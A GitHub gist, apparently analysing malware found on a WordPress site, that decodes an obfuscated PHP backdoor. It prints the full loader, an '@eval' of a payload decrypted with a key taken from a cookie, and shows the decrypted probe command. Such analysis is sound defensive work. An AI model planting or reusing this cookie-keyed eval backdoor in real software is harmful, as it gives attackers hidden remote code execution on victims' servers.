Skip to content

Instantly share code, notes, and snippets.

@xert xert/wp hack
Last active Dec 16, 2015

Embed
What would you like to do?
<?php
$data = "QGV2YWwoZGVjcnlwdCgiMjZMWW1OaGJYWk8yc0l1SmpveWVuTktaakpDTmJsbVp5Y21uVmFESmJWdUlsc2VWeDVpYWJaK1liV3lVeDU2Vm5KYWVsNXFXYTJ1WmtacGxaTWljWTh5VnlaaWRhNTJXbUlOaGNBPT0iLCRfQ09PS0lFWydkMmE2MGI1ZjY2YzkwYTc1J10pKTsgZXhpdDsgZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsgJHJlcz0iIjsNCiAgICBmb3IoJGk9MDsgJGk8c3RybGVuKCR0eHQpOyAkaSsrKXsNCgkkYz1zdWJzdHIoJHR4dCwkaSwxKTsNCgkka2M9c3Vic3RyKCRrZXksKCRpJXN0cmxlbigka2V5KSktMSwxKTsNCgkkYz1jaHIob3JkKCRjKS1vcmQoJGtjKSk7DQoJJHJlcy49JGM7DQogICAgfQ0KICAgIHJldHVybiAkcmVzOw0KfQ";
$data = base64_decode($data);
/*
string(400) "@eval(decrypt("26LYmNhbXZO2sIuJjoyenNKZjJCNblmZycmnVaDJbVuIlseVx5iabZ+YbWyUx56VnJael5qWa2uZkZplZMicY8yVyZida52WmINhcA==",$_COOKIE['d2a60b5f66c90a75'])); exit; function decrypt($txt,$key){
$txt=base64_decode($txt); $res="";
for($i=0; $i<strlen($txt); $i++){
$c=substr($txt,$i,1);
$kc=substr($key,($i%strlen($key))-1,1);
$c=chr(ord($c)-ord($kc));
$res.=$c;
}
return $res;
}"
*/
$cookie_val = "4e3d394fa853e83f";
function decrypt($txt,$key){
$txt=base64_decode($txt); $res="";
for($i=0; $i<strlen($txt); $i++){
$c=substr($txt,$i,1);
$kc=substr($key,($i%strlen($key))-1,1);
$c=chr(ord($c)-ord($kc));
$res.=$c;
}
return $res;
}
$xxx = decrypt("26LYmNhbXZO2sIuJjoyenNKZjJCNblmZycmnVaDJbVuIlseVx5iabZ+YbWyUx56VnJael5qWa2uZkZplZMicY8yVyZida52WmINhcA==", $cookie_val));
/*
string(76) "unset($_POST['file']); echo md5("bbbcea99757abfb6b9d6c2730b01cd0fade98db2");"
*/
/*
md5() = "a7a160b8b53c7280f85e3c6a077c5f21";
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.